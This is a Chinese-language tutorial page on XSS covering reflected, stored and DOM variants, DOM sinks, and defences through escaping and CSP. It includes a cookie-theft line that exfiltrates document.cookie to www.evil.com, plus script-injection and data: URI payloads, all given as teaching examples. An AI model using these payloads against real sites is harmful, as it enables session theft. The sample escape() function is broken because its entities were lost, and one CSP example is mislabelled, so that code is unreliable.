[TOC]
# 概述
XSS全称是Cross Site Scripting,即跨站脚本,脚本主要有两种类型:JavaScript和ActionScript。XSS发生在目标网页的目标用户的浏览器层面,当用户浏览器渲染HTML文档出现了不被预期的脚步并执行时,XSS就会发生。
将XSS代码放在awww.evil.com的alert.js上,将链接发给目标用户:
```
http://www.foo.com/xss.html#document.write("<script/src=//www.evil.com/alert.js></script>")
```
比如,盗取用户Cookie的脚本:
```
new Image().src="http://www.evil.com/steal.php?steal.php?data="+escape(document.cookie)
```
# 类型
XSS有三类:反射类XSS(非持久型XSS)、存储类XSS(持久型XSS)和DOM XSS。
## 反射类XSS
发出请求时,XSS代码出现在URL中,作为输入提交到服务端,服务端解析后响应,在响应内容出现这段XSS代码,最后浏览器解析执行。
**例子一:**
http://www.foo.com/xss/reflect1.php的代码
```
<?php
echo $_GET['x'];
?>
```
输入x的值未经过任何过滤就直接输出,可以提交:
```
http://www.foo.com/xss/flect1php?x=<script>alert(1)</script>
```
服务端解析时,echo完整输出script>alert\(1\)</script>到响应体,然后浏览器解析执行。
**例子二:**
http://www.foo.com/xss/reflect2.php的代码
```
<?php
header('Location: '.$_GET['x']);
?>
```
输入x的值作为响应头部的Location字段值输出,发生跳转时,触发XSS的其中一种方式如下:
```
http://www.foo.com/book/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b
```
跳转到data:协议,text/html是MIME灵活Content-Type,表明文档类型,base64指后面字符串的编码方式,这段base64解码后为
```
<script>alert(document.domain)</script>
```
## 存储型XSS
存储型XSS提交的XSS代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交XSS代码。
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板,就触发了XSS攻击。
## DOM XSS
DOM XSS的XSS代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。
### 常见的输入点
* ducoment.URL
* document.URLUnencoded
* document.location\(以及location的多个属性\)
* document.referrer
* window.location\(以及location的多个属性\)
* window.name
* xhr请求返回的数据
* document.cookie
* 表单项的值
### 常见的输出点有
* 直接输出HTML内容、如
* document.write\(...\)
* document.writeln\(...\)
* document.body.innerHtml=...
* 直接修改DOM树(包括DHTML事件),如:
* document.forms\[0\].action=...(以及其他集合,如:一些对象的src/href属性等)
* document.attachEvent\(...\)
* document.create\(...\)
* document.execCommand\(...\)
* document.body. ... \(直接通过body对象访问DOM\)
* window.attachEvent\(...\)
* 替换document URL,如:
* document.location=...(以及直接赋值给location的href、host、hostname属性)
* document.location.hostname=...
* document.location.replace\(...\)
* document.location.assign\(...\)
* document.URL=...
* window.navigator\(...\)
* 打开或修改新窗口,如:
* document.open\(...\)
* window.open\(...\)
* window.location.href=...(以及直接赋值给location的href、host、hostname属性)
* 直接执行脚本,如:
* eval\(...\)
* window.execScripteval\(...\)
* window.setIntervaleval\(...\)
* window.setTimeouteval\(...\)
# 哪里可以出现
越来越多的客户端软件支持HTML解析和JavaScript解析,如HTML文档、XML文档、Flash、PDF、QQ、一些音乐播放器、一些浏览器的功能界面等。在不同域范围内执行的XSS权限也不一样。
# 危害
* 挂马
* 盗取用户Cookie
* Dos(拒绝服务)客户端浏览器
* 钓鱼攻击、高级钓鱼技巧
* 编写针对性的XSS病毒,删除目标文章、恶意篡改数据、嫁祸
* 挟持用户Web行为,甚至进一步渗透内网
* 爆发Web 2.0蠕虫
* 蠕虫式的DDoS攻击
* 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据
# 防御
## 转义字符
首先,对于用户的输入应该是永远不信任的。最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义
~~~
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
~~~
通过转义可以将攻击代码`<script>alert(1)</script>`变成
~~~
// -> <script>alert(1)</script>
escape('<script>alert(1)</script>')
~~~
但是对于显示富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。
~~~
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html)
~~~
以上示例使用了`js-xss`来实现,可以看到在输出中保留了`h1`标签且过滤了`script`标签。
## 内容安全策略(CSP)
内容安全策略 ([CSP](https://developer.mozilla.org/en-US/docs/Glossary/CSP "CSP: A CSP (Content Security Policy) is used to detect and mitigate certain types of website related attacks like XSS and data injections.")) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 ([XSS](https://developer.mozilla.org/en-US/docs/Glossary/XSS "XSS: REDIRECT Cross-site scripting [en-US]")) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。
CSP 被设计成完全向后兼容(除CSP2 在向后兼容有明确提及的不一致; 更多细节查看[这里](https://www.w3.org/TR/CSP2) 章节1.1)。不支持CSP的浏览器也能与实现了CSP的服务器正常合作,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。如果网站不提供 CSP 头部,浏览器也使用标准的[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy "En/Same origin policy for JavaScript")。
为使CSP可用, 你需要配置你的网络服务器返回 [`Content-Security-Policy`](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy "此页面仍未被本地化, 期待您的翻译!") HTTP头部 ( 有时你会看到一些关于`X-Content-Security-Policy`头部的提法, 那是旧版本,你无须再如此指定它)。
除此之外, [`<meta>`](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/meta "HTML 元素表示那些不能由其它HTML元相关元素 (, , , 或 ) 之一表示的任何元数据信息.") 元素也可以被用来配置该策略
### 使用CSP
常可以通过两种方式来开启 CSP:
1. 设置 HTTP Header 中的`Content-Security-Policy`
2. 设置`meta`标签的方式`<meta http-equiv="Content-Security-Policy">`
这里以设置 HTTP Header 来举例
* 只允许加载本站资源
~~~
Content-Security-Policy: default-src ‘self’
~~~
* 只允许加载 HTTPS 协议图片
~~~
Content-Security-Policy: img-src https://*
~~~
* 允许加载任何来源框架
~~~
Content-Security-Policy: child-src 'none'
~~~
# 参考资料
[内容安全策略( CSP ) - HTTP | MDN](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP)
[前端面试之道 - 掘进小册](https://juejin.im/book/5bdc715fe51d454e755f75ef/section/5bdc721851882516c33430a2)
- 第一部分 HTML
- meta
- meta标签
- HTML5
- 2.1 语义
- 2.2 通信
- 2.3 离线&存储
- 2.4 多媒体
- 2.5 3D,图像&效果
- 2.6 性能&集成
- 2.7 设备访问
- SEO
- Canvas
- 压缩图片
- 制作圆角矩形
- 全局属性
- 第二部分 CSS
- CSS原理
- 层叠上下文(stacking context)
- 外边距合并
- 块状格式化上下文(BFC)
- 盒模型
- important
- 样式继承
- 层叠
- 属性值处理流程
- 分辨率
- 视口
- CSS API
- grid(未完成)
- flex
- 选择器
- 3D
- Matrix
- AT规则
- line-height 和 vertical-align
- CSS技术
- 居中
- 响应式布局
- 兼容性
- 移动端适配方案
- CSS应用
- CSS Modules(未完成)
- 分层
- 面向对象CSS(未完成)
- 布局
- 三列布局
- 单列等宽,其他多列自适应均匀
- 多列等高
- 圣杯布局
- 双飞翼布局
- 瀑布流
- 1px问题
- 适配iPhoneX
- 横屏适配
- 图片模糊问题
- stylelint
- 第三部分 JavaScript
- JavaScript原理
- 内存空间
- 作用域
- 执行上下文栈
- 变量对象
- 作用域链
- this
- 类型转换
- 闭包(未完成)
- 原型、面向对象
- class和extend
- 继承
- new
- DOM
- Event Loop
- 垃圾回收机制
- 内存泄漏
- 数值存储
- 连等赋值
- 基本类型
- 堆栈溢出
- JavaScriptAPI
- document.referrer
- Promise(未完成)
- Object.create
- 遍历对象属性
- 宽度、高度
- performance
- 位运算
- tostring( ) 与 valueOf( )方法
- JavaScript技术
- 错误
- 异常处理
- 存储
- Cookie与Session
- ES6(未完成)
- Babel转码
- let和const命令
- 变量的解构赋值
- 字符串的扩展
- 正则的扩展
- 数值的扩展
- 数组的扩展
- 函数的扩展
- 对象的扩展
- Symbol
- Set 和 Map 数据结构
- proxy
- Reflect
- module
- AJAX
- ES5
- 严格模式
- JSON
- 数组方法
- 对象方法
- 函数方法
- 服务端推送(未完成)
- JavaScript应用
- 复杂判断
- 3D 全景图
- 重载
- 上传(未完成)
- 上传方式
- 文件格式
- 渲染大量数据
- 图片裁剪
- 斐波那契数列
- 编码
- 数组去重
- 浅拷贝、深拷贝
- instanceof
- 模拟 new
- 防抖
- 节流
- 数组扁平化
- sleep函数
- 模拟bind
- 柯里化
- 零碎知识点
- 第四部分 进阶
- 计算机原理
- 数据结构(未完成)
- 算法(未完成)
- 排序算法
- 冒泡排序
- 选择排序
- 插入排序
- 快速排序
- 搜索算法
- 动态规划
- 二叉树
- 浏览器
- 浏览器结构
- 浏览器工作原理
- HTML解析
- CSS解析
- 渲染树构建
- 布局(Layout)
- 渲染
- 浏览器输入 URL 后发生了什么
- 跨域
- 缓存机制
- reflow(回流)和repaint(重绘)
- 渲染层合并
- 编译(未完成)
- Babel
- 设计模式(未完成)
- 函数式编程(未完成)
- 正则表达式(未完成)
- 性能
- 性能分析
- 性能指标
- 首屏加载
- 优化
- 浏览器层面
- HTTP层面
- 代码层面
- 构建层面
- 移动端首屏优化
- 服务器层面
- bigpipe
- 构建工具
- Gulp
- webpack
- Webpack概念
- Webpack工具
- Webpack优化
- Webpack原理
- 实现loader
- 实现plugin
- tapable
- Webpack打包后代码
- rollup.js
- parcel
- 模块化
- ESM
- 安全
- XSS
- CSRF
- 点击劫持
- 中间人攻击
- 密码存储
- 测试(未完成)
- 单元测试
- E2E测试
- 框架测试
- 样式回归测试
- 异步测试
- 自动化测试
- PWA
- PWA官网
- web app manifest
- service worker
- app install banners
- 调试PWA
- PWA教程
- 框架
- MVVM原理
- Vue
- Vue 饿了么整理
- 样式
- 技巧
- Vue音乐播放器
- Vue源码
- Virtual Dom
- computed原理
- 数组绑定原理
- 双向绑定
- nextTick
- keep-alive
- 导航守卫
- 组件通信
- React
- Diff 算法
- Fiber 原理
- batchUpdate
- React 生命周期
- Redux
- 动画(未完成)
- 异常监控、收集(未完成)
- 数据采集
- Sentry
- 贝塞尔曲线
- 视频
- 服务端渲染
- 服务端渲染的利与弊
- Vue SSR
- React SSR
- 客户端
- 离线包
- 第五部分 网络
- 五层协议
- TCP
- UDP
- HTTP
- 方法
- 首部
- 状态码
- 持久连接
- TLS
- content-type
- Redirect
- CSP
- 请求流程
- HTTP/2 及 HTTP/3
- CDN
- DNS
- HTTPDNS
- 第六部分 服务端
- Linux
- Linux命令
- 权限
- XAMPP
- Node.js
- 安装
- Node模块化
- 设置环境变量
- Node的event loop
- 进程
- 全局对象
- 异步IO与事件驱动
- 文件系统
- Node错误处理
- koa
- koa-compose
- koa-router
- Nginx
- Nginx配置文件
- 代理服务
- 负载均衡
- 获取用户IP
- 解决跨域
- 适配PC与移动环境
- 简单的访问限制
- 页面内容修改
- 图片处理
- 合并请求
- PM2
- MongoDB
- MySQL
- 常用MySql命令
- 自动化(未完成)
- docker
- 创建CLI
- 持续集成
- 持续交付
- 持续部署
- Jenkins
- 部署与发布
- 远程登录服务器
- 增强服务器安全等级
- 搭建 Nodejs 生产环境
- 配置 Nginx 实现反向代理
- 管理域名解析
- 配置 PM2 一键部署
- 发布上线
- 部署HTTPS
- Node 应用
- 爬虫(未完成)
- 例子
- 反爬虫
- 中间件
- body-parser
- connect-redis
- cookie-parser
- cors
- csurf
- express-session
- helmet
- ioredis
- log4js(未完成)
- uuid
- errorhandler
- nodeclub源码
- app.js
- config.js
- 消息队列
- RPC
- 性能优化
- 第七部分 总结
- Web服务器
- 目录结构
- 依赖
- 功能
- 代码片段
- 整理
- 知识清单、博客
- 项目、组件、库
- Node代码
- 面试必考
- 91算法
- 第八部分 工作代码总结
- 样式代码
- 框架代码
- 组件代码
- 功能代码
- 通用代码